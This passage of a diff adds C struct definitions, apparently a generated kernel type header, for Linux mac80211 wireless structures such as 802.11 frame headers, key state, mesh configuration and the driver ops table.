ieee80211_mlme_event mlme; + struct ieee80211_ba_event ba; + } u; +}; + +struct ieee80211_ext { + __le16 frame_control; + __le16 duration; + union { + struct { + u8 sa[6]; + __le32 timestamp; + u8 change_seq; + u8 variable[0]; + } __attribute__((packed)) s1g_beacon; + struct { + u8 sa[6]; + __le32 timestamp; + u8 change_seq; + u8 next_tbtt[3]; + u8 variable[0]; + } __attribute__((packed)) s1g_short_beacon; + } u; +}; + +struct ieee80211_ext_chansw_ie { + u8 mode; + u8 new_operating_class; + u8 new_ch_num; + u8 count; +}; + +struct ieee80211_fast_rx { + struct net_device *dev; + enum nl80211_iftype vif_type; + u8 vif_addr[6]; + u8 rfc1042_hdr[6]; + __be16 control_port_protocol; + __le16 expected_ds_bits; + u8 icv_len; + u8 key: 1; + u8 internal_forward: 1; + u8 uses_rss: 1; + u8 da_offs; + u8 sa_offs; + struct callback_head callback_head; +}; + +struct ieee80211_key; + +struct ieee80211_fast_tx { + struct ieee80211_key *key; + u8 hdr_len; + u8 sa_offs; + u8 da_offs; + u8 pn_offs; + u8 band; + short: 0; + u8 hdr[56]; + struct callback_head callback_head; +}; + +struct ieee80211_fragment_entry { + struct sk_buff_head skb_list; + unsigned long first_frag_time; + u16 seq; + u16 extra_len; + u16 last_frag; + u8 rx_queue; + u8 check_sequential_pn: 1; + u8 is_protected: 1; + u8 last_pn[6]; + unsigned int key_color; +}; + +struct ieee80211_fragment_cache { + struct ieee80211_fragment_entry entries[4]; + unsigned int next; +}; + +struct ieee80211_freq_range { + u32 start_freq_khz; + u32 end_freq_khz; + u32 max_bandwidth_khz; +}; + +struct ieee80211_ftm_responder_params { + const u8 *lci; + const u8 *civicloc; + size_t lci_len; + size_t civicloc_len; +}; + +struct ieee80211_hdr { + __le16 frame_control; + __le16 duration_id; + union { + struct { + u8 addr1[6]; + u8 addr2[6]; + u8 addr3[6]; + }; + struct { + u8 addr1[6]; + u8 addr2[6]; + u8 addr3[6]; + } addrs; + }; + __le16 seq_ctrl; + u8 addr4[6]; +}; + +struct ieee80211_hdr_3addr { + __le16 frame_control; + __le16 duration_id; + u8 addr1[6]; + u8 addr2[6]; + u8 addr3[6]; + __le16 seq_ctrl; +}; + +struct ieee80211_he_6ghz_capa { + __le16 capa; +}; + +struct ieee80211_he_6ghz_oper { + u8 primary; + u8 control; + u8 ccfs0; + u8 ccfs1; + u8 minrate; +}; + +struct ieee80211_he_cap_elem { + u8 mac_cap_info[6]; + u8 phy_cap_info[11]; +}; + +struct ieee80211_he_mcs_nss_supp { + __le16 rx_mcs_80; + __le16 tx_mcs_80; + __le16 rx_mcs_160; + __le16 tx_mcs_160; + __le16 rx_mcs_80p80; + __le16 tx_mcs_80p80; +}; + +struct ieee80211_he_mu_edca_param_ac_rec { + u8 aifsn; + u8 ecw_min_max; + u8 mu_edca_timer; +}; + +struct ieee80211_he_operation { + __le32 he_oper_params; + __le16 he_mcs_nss_set; + u8 optional[0]; +} __attribute__((packed)); + +struct ieee80211_he_spr { + u8 he_sr_control; + u8 optional[0]; +}; + +struct ieee80211_ht_operation { + u8 primary_chan; + u8 ht_param; + __le16 operation_mode; + __le16 stbc_param; + u8 basic_set[16]; +}; + +struct ieee80211_hw { + struct ieee80211_conf conf; + struct wiphy *wiphy; + const char *rate_control_algorithm; + void *priv; + unsigned long flags[1]; + unsigned int extra_tx_headroom; + unsigned int extra_beacon_tailroom; + int vif_data_size; + int sta_data_size; + int chanctx_data_size; + int txq_data_size; + u16 queues; + u16 max_listen_interval; + s8 max_signal; + u8 max_rates; + u8 max_report_rates; + u8 max_rate_tries; + u16 max_rx_aggregation_subframes; + u16 max_tx_aggregation_subframes; + u8 max_tx_fragments; + u8 offchannel_tx_hw_queue; + u8 radiotap_mcs_details; + u16 radiotap_vht_details; + struct { + int units_pos; + s16 accuracy; + } radiotap_timestamp; + netdev_features_t netdev_features; + u8 uapsd_queues; + u8 uapsd_max_sp_len; + u8 max_nan_de_entries; + u8 tx_sk_pacing_shift; + u8 weight_multiplier; + u32 max_mtu; + const s8 *tx_power_levels; + u8 max_txpwr_levels_idx; +}; + +struct ps_data { + u8 tim[256]; + struct sk_buff_head bc_buf; + atomic_t num_sta_ps; + int dtim_count; + bool dtim_bc_mc; +}; + +struct ieee80211_if_ap { + struct list_head vlans; + struct ps_data ps; + atomic_t num_mcast_sta; + bool multicast_to_unicast; + bool active; +}; + +struct ieee80211_if_ibss { + struct timer_list timer; + struct wiphy_work csa_connection_drop_work; + unsigned long last_scan_completed; + u32 basic_rates; + bool fixed_bssid; + bool fixed_channel; + bool privacy; + bool control_port; + bool userspace_handles_dfs; + short: 0; + u8 bssid[6]; + u8 ssid[32]; + u8 ssid_len; + u8 ie_len; + u8 *ie; + struct cfg80211_chan_def chandef; + unsigned long ibss_join_req; + struct beacon_data __attribute__((btf_type_tag("rcu"))) *presp; + struct ieee80211_ht_cap ht_capa; + struct ieee80211_ht_cap ht_capa_mask; + spinlock_t incomplete_lock; + struct list_head incomplete_stations; + enum { + IEEE80211_IBSS_MLME_SEARCH = 0, + IEEE80211_IBSS_MLME_JOINED = 1, + } state; +}; + +struct wiphy_delayed_work { + struct wiphy_work work; + struct wiphy *wiphy; + struct timer_list timer; +}; + +struct ieee80211_sta_tx_tspec { + unsigned long time_slice_start; + u32 admitted_time; + u8 tsid; + s8 up; + u32 consumed_tx_time; + enum { + TX_TSPEC_ACTION_NONE = 0, + TX_TSPEC_ACTION_DOWNGRADE = 1, + TX_TSPEC_ACTION_STOP_DOWNGRADE = 2, + } action; + bool downgraded; +}; + +struct ieee80211_mgd_auth_data; + +struct ieee80211_mgd_assoc_data; + +struct ieee80211_if_managed { + struct timer_list timer; + struct timer_list conn_mon_timer; + struct timer_list bcn_mon_timer; + struct wiphy_work monitor_work; + struct wiphy_work beacon_connection_loss_work; + struct wiphy_work csa_connection_drop_work; + unsigned long beacon_timeout; + unsigned long probe_timeout; + int probe_send_count; + bool nullfunc_failed; + u8 connection_loss: 1; + u8 driver_disconnect: 1; + u8 reconnect: 1; + u8 associated: 1; + struct ieee80211_mgd_auth_data *auth_data; + struct ieee80211_mgd_assoc_data *assoc_data; + bool powersave; + bool broken_ap; + unsigned int flags; + u16 mcast_seq_last; + bool status_acked; + bool status_received; + __le16 status_fc; + enum { + IEEE80211_MFP_DISABLED = 0, + IEEE80211_MFP_OPTIONAL = 1, + IEEE80211_MFP_REQUIRED = 2, + } mfp; + unsigned int uapsd_queues; + unsigned int uapsd_max_sp_len; + u8 use_4addr; + int rssi_min_thold; + int rssi_max_thold; + struct ieee80211_ht_cap ht_capa; + struct ieee80211_ht_cap ht_capa_mask; + struct ieee80211_vht_cap vht_capa; + struct ieee80211_vht_cap vht_capa_mask; + struct ieee80211_s1g_cap s1g_capa; + struct ieee80211_s1g_cap s1g_capa_mask; + u8 tdls_peer[6]; + struct wiphy_delayed_work tdls_peer_del_work; + struct sk_buff *orig_teardown_skb; + struct sk_buff *teardown_skb; + spinlock_t teardown_lock; + bool tdls_wider_bw_prohibited; + struct ieee80211_sta_tx_tspec tx_tspec[4]; + struct wiphy_delayed_work tx_tspec_wk; + u8 *assoc_req_ies; + size_t assoc_req_ies_len; + struct wiphy_delayed_work ml_reconf_work; + u16 removed_links; + struct wiphy_delayed_work ttlm_work; + struct ieee80211_adv_ttlm_info ttlm_info; + struct wiphy_work teardown_ttlm_work; + u8 dialog_token_alloc; + struct wiphy_delayed_work neg_ttlm_timeout_work; +}; + +struct mesh_preq_queue { + struct list_head list; + u8 dst[6]; + u8 flags; +}; + +struct mesh_stats { + __u32 fwded_mcast; + __u32 fwded_unicast; + __u32 fwded_frames; + __u32 dropped_frames_ttl; + __u32 dropped_frames_no_route; +}; + +struct mesh_config { + u16 dot11MeshRetryTimeout; + u16 dot11MeshConfirmTimeout; + u16 dot11MeshHoldingTimeout; + u16 dot11MeshMaxPeerLinks; + u8 dot11MeshMaxRetries; + u8 dot11MeshTTL; + u8 element_ttl; + bool auto_open_plinks; + u32 dot11MeshNbrOffsetMaxNeighbor; + u8 dot11MeshHWMPmaxPREQretries; + u32 path_refresh_time; + u16 min_discovery_timeout; + u32 dot11MeshHWMPactivePathTimeout; + u16 dot11MeshHWMPpreqMinInterval; + u16 dot11MeshHWMPperrMinInterval; + u16 dot11MeshHWMPnetDiameterTraversalTime; + u8 dot11MeshHWMPRootMode; + bool dot11MeshConnectedToMeshGate; + bool dot11MeshConnectedToAuthServer; + u16 dot11MeshHWMPRannInterval; + bool dot11MeshGateAnnouncementProtocol; + bool dot11MeshForwarding; + s32 rssi_threshold; + u16 ht_opmode; + u32 dot11MeshHWMPactivePathToRootTimeout; + u16 dot11MeshHWMProotInterval; + u16 dot11MeshHWMPconfirmationInterval; + enum nl80211_mesh_power_mode power_mode; + u16 dot11MeshAwakeWindowDuration; + u32 plink_timeout; + bool dot11MeshNolearn; +}; + +struct mesh_table { + struct hlist_head known_gates; + spinlock_t gates_lock; + struct rhashtable rhead; + struct hlist_head walk_head; + spinlock_t walk_lock; + atomic_t entries; +}; + +struct mesh_tx_cache { + struct rhashtable rht; + struct hlist_head walk_head; + spinlock_t walk_lock; +}; + +struct mesh_rmc; + +struct ieee80211_mesh_sync_ops; + +struct mesh_csa_settings; + +struct ieee80211_if_mesh { + struct timer_list housekeeping_timer; + struct timer_list mesh_path_timer; + struct timer_list mesh_path_root_timer; + unsigned long wrkq_flags; + unsigned long mbss_changed[1]; + bool userspace_handles_dfs; + u8 mesh_id[32]; + size_t mesh_id_len; + u8 mesh_pp_id; + u8 mesh_pm_id; + u8 mesh_cc_id; + u8 mesh_sp_id; + u8 mesh_auth_id; + u32 sn; + u32 preq_id; + atomic_t mpaths; + unsigned long last_sn_update; + unsigned long next_perr; + unsigned long last_preq; + struct mesh_rmc *rmc; + spinlock_t mesh_preq_queue_lock; + struct mesh_preq_queue preq_queue; + int preq_queue_len; + struct mesh_stats mshstats; + struct mesh_config mshcfg; + atomic_t estab_plinks; + atomic_t mesh_seqnum; + bool accepting_plinks; + int num_gates; + struct beacon_data __attribute__((btf_type_tag("rcu"))) *beacon; + const u8 *ie; + u8 ie_len; + enum { + IEEE80211_MESH_SEC_NONE = 0, + IEEE80211_MESH_SEC_AUTHED = 1, + IEEE80211_MESH_SEC_SECURED = 2, + } security; + bool user_mpm; + const struct ieee80211_mesh_sync_ops *sync_ops; + s64 sync_offset_clockdrift_max; + spinlock_t sync_offset_lock; + enum nl80211_mesh_power_mode nonpeer_pm; + int ps_peers_light_sleep; + int ps_peers_deep_sleep; + struct ps_data ps; + struct mesh_csa_settings __attribute__((btf_type_tag("rcu"))) *csa; + enum { + IEEE80211_MESH_CSA_ROLE_NONE = 0, + IEEE80211_MESH_CSA_ROLE_INIT = 1, + IEEE80211_MESH_CSA_ROLE_REPEATER = 2, + } csa_role; + u8 chsw_ttl; + u16 pre_value; + int meshconf_offset; + struct mesh_table mesh_paths; + struct mesh_table mpp_paths; + int mesh_paths_generation; + int mpp_paths_generation; + struct mesh_tx_cache tx_cache; +}; + +struct ieee80211_if_mntr { + u32 flags; + u8 mu_follow_addr[6]; + struct list_head list; +}; + +struct ieee80211_if_nan { + struct cfg80211_nan_conf conf; + spinlock_t func_lock; + struct idr function_inst_ids; +}; + +struct ieee80211_if_ocb { + struct timer_list housekeeping_timer; + unsigned long wrkq_flags; + spinlock_t incomplete_lock; + struct list_head incomplete_stations; + bool joined; +}; + +struct sta_info; + +struct ieee80211_if_vlan { + struct list_head list; + struct sta_info __attribute__((btf_type_tag("rcu"))) *sta; + atomic_t num_mcast_sta; +}; + +struct ieee80211_iface_limit; + +struct ieee80211_iface_combination { + const struct ieee80211_iface_limit *limits; + u32 num_different_channels; + u16 max_interfaces; + u8 n_limits; + bool beacon_int_infra_match; + u8 radar_detect_widths; + u8 radar_detect_regions; + u32 beacon_int_min_gcd; +}; + +struct ieee80211_iface_limit { + u16 max; + u16 types; +}; + +struct tkip_ctx { + u16 p1k[5]; + u32 p1k_iv32; + enum ieee80211_internal_tkip_state state; +}; + +struct tkip_ctx_rx { + struct tkip_ctx ctx; + u32 iv32; + u16 iv16; +}; + +struct ieee80211_key_conf { + atomic64_t tx_pn; + u32 cipher; + u8 icv_len; + u8 iv_len; + u8 hw_key_idx; + s8 keyidx; + u16 flags; + s8 link_id; + u8 keylen; + u8 key[0]; +}; + +struct ieee80211_local; + +struct ieee80211_sub_if_data; + +struct ieee80211_key { + struct ieee80211_local *local; + struct ieee80211_sub_if_data *sdata; + struct sta_info *sta; + struct list_head list; + unsigned int flags; + union { + struct { + spinlock_t txlock; + struct tkip_ctx tx; + struct tkip_ctx_rx rx[16]; + u32 mic_failures; + } tkip; + struct { + u8 rx_pn[102]; + struct crypto_aead *tfm; + u32 replays; + } ccmp; + struct { + u8 rx_pn[6]; + struct crypto_shash *tfm; + u32 replays; + u32 icverrors; + } aes_cmac; + struct { + u8 rx_pn[6]; + struct crypto_aead *tfm; + u32 replays; + u32 icverrors; + } aes_gmac; + struct { + u8 rx_pn[102]; + struct crypto_aead *tfm; + u32 replays; + } gcmp; + struct { + u8 rx_pn[272]; + } gen; + } u; + unsigned int color; + struct ieee80211_key_conf conf; +}; + +struct ieee80211_key_seq { + union { + struct { + u32 iv32; + u16 iv16; + } tkip; + struct { + u8 pn[6]; + } ccmp; + struct { + u8 pn[6]; + } aes_cmac; + struct { + u8 pn[6]; + } aes_gmac; + struct { + u8 pn[6]; + } gcmp; + struct { + u8 seq[16]; + u8 seq_len; + } hw; + }; +}; + +struct ieee80211_link_data_managed { + u8 bssid[6]; + u8 dtim_period; + enum ieee80211_smps_mode req_smps; + enum ieee80211_smps_mode driver_smps_mode; + struct ieee80211_conn_settings conn; + s16 p2p_noa_index; + bool tdls_chan_switch_prohibited; + bool have_beacon; + bool tracking_signal_avg; + bool disable_wmm_tracking; + bool operating_11g_mode; + struct { + struct wiphy_delayed_work switch_work; + struct cfg80211_chan_def ap_chandef; + struct ieee80211_parsed_tpe tpe; + unsigned long time; + bool waiting_bcn; + bool ignored_same_chan; + bool blocked_tx; + } csa; + struct wiphy_work request_smps_work; + struct wiphy_work recalc_smps; + bool beacon_crc_valid; + u32 beacon_crc; + struct ewma_beacon_signal ave_beacon_signal; + int last_ave_beacon_signal; + unsigned int count_beacon_signal; + unsigned int beacon_loss_count; + int last_cqm_event_signal; + int wmm_last_param_set; + int mu_edca_last_param_set; + u8 bss_param_ch_cnt; +}; + +struct probe_resp; + +struct unsol_bcast_probe_resp_data; + +struct ieee80211_link_data_ap { + struct beacon_data __attribute__((btf_type_tag("rcu"))) *beacon; + struct probe_resp __attribute__((btf_type_tag("rcu"))) *probe_resp; + struct fils_discovery_data __attribute__((btf_type_tag("rcu"))) *fils_discovery; + struct unsol_bcast_probe_resp_data __attribute__((btf_type_tag("rcu"))) *unsol_bcast_probe_resp; + struct cfg80211_beacon_data *next_beacon; +}; + +struct ieee80211_tx_queue_params { + u16 txop; + u16 cw_min; + u16 cw_max; + u8 aifs; + bool acm; + bool uapsd; + bool mu_edca; + struct ieee80211_he_mu_edca_param_ac_rec mu_edca_param_rec; +}; + +struct ieee80211_link_data { + struct ieee80211_sub_if_data *sdata; + unsigned int link_id; + struct list_head assigned_chanctx_list; + struct list_head reserved_chanctx_list; + struct ieee80211_key __attribute__((btf_type_tag("rcu"))) *gtk[8]; + struct ieee80211_key __attribute__((btf_type_tag("rcu"))) *default_multicast_key; + struct ieee80211_key __attribute__((btf_type_tag("rcu"))) *default_mgmt_key; + struct ieee80211_key __attribute__((btf_type_tag("rcu"))) *default_beacon_key; + bool operating_11g_mode; + struct { + struct wiphy_work finalize_work; + struct ieee80211_chan_req chanreq; + } csa; + struct wiphy_work color_change_finalize_work; + struct delayed_work color_collision_detect_work; + u64 color_bitmap; + struct ieee80211_chanctx *reserved_chanctx; + struct ieee80211_chan_req reserved; + bool reserved_radar_required; + bool reserved_ready; + u8 needed_rx_chains; + enum ieee80211_smps_mode smps_mode; + int user_power_level; + int ap_power_level; + bool radar_required; + struct wiphy_delayed_work dfs_cac_timer_work; + union { + struct ieee80211_link_data_managed mgd; + struct ieee80211_link_data_ap ap; + } u; + struct ieee80211_tx_queue_params tx_conf[4]; + struct ieee80211_bss_conf *conf; +}; + +struct ieee80211_sta_vht_cap { + bool vht_supported; + u32 cap; + struct ieee80211_vht_mcs_info vht_mcs; +}; + +struct ieee80211_sta_he_cap { + bool has_he; + struct ieee80211_he_cap_elem he_cap_elem; + struct ieee80211_he_mcs_nss_supp he_mcs_nss_supp; + u8 ppe_thres[25]; +} __attribute__((packed)); + +struct ieee80211_sta_eht_cap { + bool has_eht; + struct ieee80211_eht_cap_elem_fixed eht_cap_elem; + struct ieee80211_eht_mcs_nss_supp eht_mcs_nss_supp; + u8 eht_ppe_thres[32]; +}; + +struct ieee80211_sta_aggregates { + u16 max_amsdu_len; + u16 max_rc_amsdu_len; + u16 max_tid_amsdu_len[16]; +}; + +struct ieee80211_sta_txpwr { + s16 power; + enum nl80211_tx_power_setting type; +}; + +struct ieee80211_link_sta { + struct ieee80211_sta *sta; + u8 addr[6]; + u8 link_id; + long: 0; + enum ieee80211_smps_mode smps_mode; + u32 supp_rates[6]; + struct ieee80211_sta_ht_cap ht_cap; + int: 0; + struct ieee80211_sta_vht_cap vht_cap; + struct ieee80211_sta_he_cap he_cap; + struct ieee80211_he_6ghz_capa he_6ghz_capa; + struct ieee80211_sta_eht_cap eht_cap; + struct ieee80211_sta_aggregates agg; + u8 rx_nss; + long: 0; + enum ieee80211_sta_rx_bandwidth bandwidth; + struct ieee80211_sta_txpwr txpwr; + long: 0; +} __attribute__((packed)); + +struct netdev_hw_addr_list { + struct list_head list; + int count; + struct rb_root tree; +}; + +struct tasklet_struct { + struct tasklet_struct *next; + unsigned long state; + atomic_t count; + bool use_callback; + union { + void (*func)(unsigned long); + void (*callback)(struct tasklet_struct *); + }; + unsigned long data; +}; + +struct rhltable { + struct rhashtable ht; +}; + +struct ieee80211_ops; + +struct rate_control_ref; + +struct ieee80211_scan_request; + +struct ieee80211_local { + struct ieee80211_hw hw; + struct fq fq; + struct codel_vars *cvars; + struct codel_params cparams; + spinlock_t active_txq_lock[4]; + struct list_head active_txqs[4]; + u16 schedule_round[4]; + spinlock_t handle_wake_tx_queue_lock; + u16 airtime_flags; + u32 aql_txq_limit_low[4]; + u32 aql_txq_limit_high[4]; + u32 aql_threshold; + atomic_t aql_total_pending_airtime; + atomic_t aql_ac_pending_airtime[4]; + const struct ieee80211_ops *ops; + struct workqueue_struct *workqueue; + unsigned long queue_stop_reasons[16]; + int q_stop_reasons[176]; + spinlock_t queue_stop_reason_lock; + int open_count; + int monitors; + int cooked_mntrs; + int fif_fcsfail; + int fif_plcpfail; + int fif_control; + int fif_other_bss; + int fif_pspoll; + int fif_probe_req; + bool probe_req_reg; + bool rx_mcast_action_reg; + unsigned int filter_flags; + bool wiphy_ciphers_allocated; + struct cfg80211_chan_def dflt_chandef; + bool emulate_chanctx; + spinlock_t filter_lock; + struct wiphy_work reconfig_filter; + struct netdev_hw_addr_list mc_list; + bool tim_in_locked_section; + bool suspended; + bool suspending; + bool resuming; + bool quiescing; + bool started; + bool in_reconfig; + bool reconfig_failure; + bool wowlan; + struct wiphy_work radar_detected_work; + u8 rx_chains; + u8 sband_allocated; + int tx_headroom; + struct tasklet_struct tasklet; + struct sk_buff_head skb_queue; + struct sk_buff_head skb_queue_unreliable; + spinlock_t rx_path_lock; + spinlock_t tim_lock; + unsigned long num_sta; + struct list_head sta_list; + struct rhltable sta_hash; + struct rhltable link_sta_hash; + struct timer_list sta_cleanup; + int sta_generation; + struct sk_buff_head pending[16]; + struct tasklet_struct tx_pending_tasklet; + struct tasklet_struct wake_txqs_tasklet; + atomic_t agg_queue_stop[16]; + atomic_t iff_allmultis; + struct rate_control_ref *rate_ctrl; + struct arc4_ctx wep_tx_ctx; + struct arc4_ctx wep_rx_ctx; + u32 wep_iv; + struct list_head interfaces; + struct list_head mon_list; + struct mutex iflist_mtx; + unsigned long scanning; + struct cfg80211_ssid scan_ssid; + struct cfg80211_scan_request *int_scan_req; + struct cfg80211_scan_request __attribute__((btf_type_tag("rcu"))) *scan_req; + struct ieee80211_scan_request *hw_scan_req; + struct cfg80211_chan_def scan_chandef; + enum nl80211_band hw_scan_band; + int scan_channel_idx; + int scan_ies_len; + int hw_scan_ies_bufsize; + struct cfg80211_scan_info scan_info; + struct wiphy_work sched_scan_stopped_work; + struct ieee80211_sub_if_data __attribute__((btf_type_tag("rcu"))) *sched_scan_sdata; + struct cfg80211_sched_scan_request __attribute__((btf_type_tag("rcu"))) *sched_scan_req; + u8 scan_addr[6]; + unsigned long leave_oper_channel_time; + enum mac80211_scan_state next_scan_state; + struct wiphy_delayed_work scan_work; + struct ieee80211_sub_if_data __attribute__((btf_type_tag("rcu"))) *scan_sdata; + struct ieee80211_channel *tmp_channel; + struct list_head chanctx_list; + int total_ps_buffered; + bool pspolling; + struct ieee80211_sub_if_data *ps_sdata; + struct wiphy_work dynamic_ps_enable_work; + struct wiphy_work dynamic_ps_disable_work; + struct timer_list dynamic_ps_timer; + struct notifier_block ifa_notifier; + struct notifier_block ifa6_notifier; + int dynamic_ps_forced_timeout; + int user_power_level; + struct work_struct restart_work; + struct wiphy_delayed_work roc_work; + struct list_head roc_list; + struct wiphy_work hw_roc_start; + struct wiphy_work hw_roc_done; + unsigned long hw_roc_start_time; + u64 roc_cookie_counter; + struct idr ack_status_frames; + spinlock_t ack_status_lock; + struct ieee80211_sub_if_data __attribute__((btf_type_tag("rcu"))) *p2p_sdata; + struct ieee80211_sub_if_data __attribute__((btf_type_tag("rcu"))) *monitor_sdata; + struct ieee80211_chan_req monitor_chanreq; + u8 ext_capa[8]; + bool wbrf_supported; +}; + +struct ieee80211_low_level_stats { + unsigned int dot11ACKFailureCount; + unsigned int dot11RTSFailureCount; + unsigned int dot11FCSErrorCount; + unsigned int dot11RTSSuccessCount; +}; + +struct ieee80211_mesh_chansw_params_ie { + u8 mesh_ttl; + u8 mesh_flags; + __le16 mesh_reason; + __le16 mesh_pre_value; +}; + +struct ieee80211_mgmt; + +struct ieee80211_rx_status; + +struct ieee80211_mesh_sync_ops { + void (*rx_bcn_presp)(struct ieee80211_sub_if_data *, u16, struct ieee80211_mgmt *, unsigned int, const struct ieee80211_meshconf_ie *, struct ieee80211_rx_status *); + void (*adjust_tsf)(struct ieee80211_sub_if_data *, struct beacon_data *); +}; + +struct ieee80211_meshconf_ie { + u8 meshconf_psel; + u8 meshconf_pmetric; + u8 meshconf_congest; + u8 meshconf_synch; + u8 meshconf_auth; + u8 meshconf_form; + u8 meshconf_cap; +}; + +struct ieee80211_mgd_assoc_data { + struct { + struct cfg80211_bss *bss; + u8 addr[6]; + u8 ap_ht_param; + struct ieee80211_vht_cap ap_vht_cap; + long: 0; + size_t elems_len; + u8 *elems; + struct ieee80211_conn_settings conn; + u16 status; + bool disabled; + long: 0; + } __attribute__((packed)) link[15]; + u8 ap_addr[6]; + const u8 *supp_rates; + u8 supp_rates_len; + unsigned long timeout; + int tries; + u8 prev_ap_addr[6]; + u8 ssid[32]; + u8 ssid_len; + bool wmm; + bool uapsd; + bool need_beacon; + bool synced; + bool timeout_started; + bool comeback; + bool s1g; + bool spp_amsdu; + unsigned int assoc_link_id; + u8 fils_nonces[32]; + u8 fils_kek[64]; + size_t fils_kek_len; + size_t ie_len; + u8 *ie_pos; + u8 ie[0]; +}; + +struct ieee80211_mgd_auth_data { + struct cfg80211_bss *bss; + unsigned long timeout; + int tries; + u16 algorithm; + u16 expected_transaction; + u8 key[13]; + u8 key_len; + u8 key_idx; + bool done; + bool waiting; + bool peer_confirmed; + bool timeout_started; + int link_id; + u8 ap_addr[6]; + u16 sae_trans; + u16 sae_status; + size_t data_len; + u8 data[0]; +}; + +struct ieee80211_msrment_ie { + u8 token; + u8 mode; + u8 type; + u8 request[0]; +}; + +struct ieee80211_tpc_report_ie { + u8 tx_power; + u8 link_margin; +}; + +struct ieee80211_mgmt { + __le16 frame_control; + __le16 duration; + u8 da[6]; + u8 sa[6]; + u8 bssid[6]; + __le16 seq_ctrl; + union { + struct { + __le16 auth_alg; + __le16 auth_transaction; + __le16 status_code; + u8 variable[0]; + } auth; + struct { + __le16 reason_code; + } deauth; + struct { + __le16 capab_info; + __le16 listen_interval; + u8 variable[0]; + } assoc_req; + struct { + __le16 capab_info; + __le16 status_code; + __le16 aid; + u8 variable[0]; + } assoc_resp; + struct { + __le16 capab_info; + __le16 status_code; + __le16 aid; + u8 variable[0]; + } reassoc_resp; + struct { + __le16 capab_info; + __le16 status_code; + u8 variable[0]; + } s1g_assoc_resp; + struct { + __le16 capab_info; + __le16 status_code; + u8 variable[0]; + } s1g_reassoc_resp; + struct { + __le16 capab_info; + __le16 listen_interval; + u8 current_ap[6]; + u8 variable[0]; + } reassoc_req; + struct { + __le16 reason_code; + } disassoc; + struct { + __le64 timestamp; + __le16 beacon_int; + __le16 capab_info; + u8 variable[0]; + } __attribute__((packed)) beacon; + struct { + struct { + struct {} __empty_variable; + u8 variable[0]; + }; + } probe_req; + struct { + __le64 timestamp; + __le16 beacon_int; + __le16 capab_info; + u8 variable[0]; + } __attribute__((packed)) probe_resp; + struct { + u8 category; + union { + struct { + u8 action_code; + u8 dialog_token; + u8 status_code; + u8 variable[0]; + } wme_action; + struct { + u8 action_code; + u8 variable[0]; + } chan_switch; + struct { + u8 action_code; + struct ieee80211_ext_chansw_ie data; + u8 variable[0]; + } ext_chan_switch; + struct { + u8 action_code; + u8 dialog_token; + u8 element_id; + u8 length; + struct ieee80211_msrment_ie msr_elem; + } measurement; + struct { + u8 action_code; + u8 dialog_token; + __le16 capab; + __le16 timeout; + __le16 start_seq_num; + u8 variable[0]; + } addba_req; + struct { + u8 action_code; + u8 dialog_token; + __le16 status; + __le16 capab; + __le16 timeout; + } addba_resp; + struct { + u8 action_code; + __le16 params; + __le16 reason_code; + } __attribute__((packed)) delba; + struct { + u8 action_code; + u8 variable[0]; + } self_prot; + struct { + u8 action_code; + u8 variable[0]; + } mesh_action; + struct { + u8 action; + u8 trans_id[2]; + } sa_query; + struct { + u8 action; + u8 smps_control; + } ht_smps; + struct { + u8 action_code; + u8 chanwidth; + } ht_notify_cw; + struct { + u8 action_code; + u8 dialog_token; + __le16 capability; + u8 variable[0]; + } tdls_discover_resp; + struct { + u8 action_code; + u8 operating_mode; + } vht_opmode_notif; + struct { + u8 action_code; + u8 membership[8]; + u8 position[16]; + } vht_group_notif; + struct { + u8 action_code; + u8 dialog_token; + u8 tpc_elem_id; + u8 tpc_elem_length; + struct ieee80211_tpc_report_ie tpc; + } tpc_report; + struct { + u8 action_code; + u8 dialog_token; + u8 follow_up; + u8 tod[6]; + u8 toa[6]; + __le16 tod_error; + __le16 toa_error; + u8 variable[0]; + } __attribute__((packed)) ftm; + struct { + u8 action_code; + u8 variable[0]; + } s1g; + struct { + u8 action_code; + u8 dialog_token; + u8 follow_up; + u32 tod; + u32 toa; + u8 max_tod_error; + u8 max_toa_error; + } __attribute__((packed)) wnm_timing_msr; + struct { + u8 action_code; + u8 dialog_token; + u8 variable[0]; + } ttlm_req; + struct { + u8 action_code; + u8 dialog_token; + u8 status_code; + u8 variable[0]; + } ttlm_res; + struct { + u8 action_code; + } ttlm_tear_down; + } u; + } action; + struct { + struct {} __empty_body; + u8 body[0]; + }; + } u; +}; + +struct ieee80211_mle_basic_common_info { + u8 len; + u8 mld_mac_addr[6]; + u8 variable[0]; +}; + +struct ieee80211_mle_per_sta_profile { + __le16 control; + u8 sta_info_len; + u8 variable[0]; +} __attribute__((packed)); + +struct ieee80211_mmie { + u8 element_id; + u8 length; + __le16 key_id; + u8 sequence_number[6]; + u8 mic[8]; +}; + +struct ieee80211_mmie_16 { + u8 element_id; + u8 length; + __le16 key_id; + u8 sequence_number[6]; + u8 mic[16]; +}; + +struct ieee80211_mu_edca_param_set { + u8 mu_qos_info; + struct ieee80211_he_mu_edca_param_ac_rec ac_be; + struct ieee80211_he_mu_edca_param_ac_rec ac_bk; + struct ieee80211_he_mu_edca_param_ac_rec ac_vi; + struct ieee80211_he_mu_edca_param_ac_rec ac_vo; +}; + +struct ieee80211_multi_link_elem { + __le16 control; + u8 variable[0]; +}; + +struct ieee80211_multiple_bssid_configuration { + u8 bssid_count; + u8 profile_periodicity; +}; + +struct ieee80211_neg_ttlm { + u16 downlink[8]; + u16 uplink[8]; + bool valid; +}; + +struct ieee80211_neighbor_ap_info { + u8 tbtt_info_hdr; + u8 tbtt_info_len; + u8 op_class; + u8 channel; +}; + +struct ieee80211_noa_data { + u32 next_tsf; + bool has_next_tsf; + u8 absent; + u8 count[4]; + struct { + u32 start; + u32 duration; + u32 interval; + } desc[4]; +}; + +struct ieee80211_tx_control; + +struct ieee80211_scan_ies; + +struct ieee80211_prep_tx_info; + +struct ieee80211_vif_chanctx_switch; + +struct inet6_dev; + +struct ieee80211_tdls_ch_sw_params; + +struct ieee80211_txq; + +struct ieee80211_twt_setup; + +struct net_device_path_ctx; + +struct net_device_path; + +struct ieee80211_ops { + void (*tx)(struct ieee80211_hw *, struct ieee80211_tx_control *, struct sk_buff *); + int (*start)(struct ieee80211_hw *); + void (*stop)(struct ieee80211_hw *, bool); + int (*suspend)(struct ieee80211_hw *, struct cfg80211_wowlan *); + int (*resume)(struct ieee80211_hw *); + void (*set_wakeup)(struct ieee80211_hw *, bool); + int (*add_interface)(struct ieee80211_hw *, struct ieee80211_vif *); + int (*change_interface)(struct ieee80211_hw *, struct ieee80211_vif *, enum nl80211_iftype, bool); + void (*remove_interface)(struct ieee80211_hw *, struct ieee80211_vif *); + int (*config)(struct ieee80211_hw *, u32); + 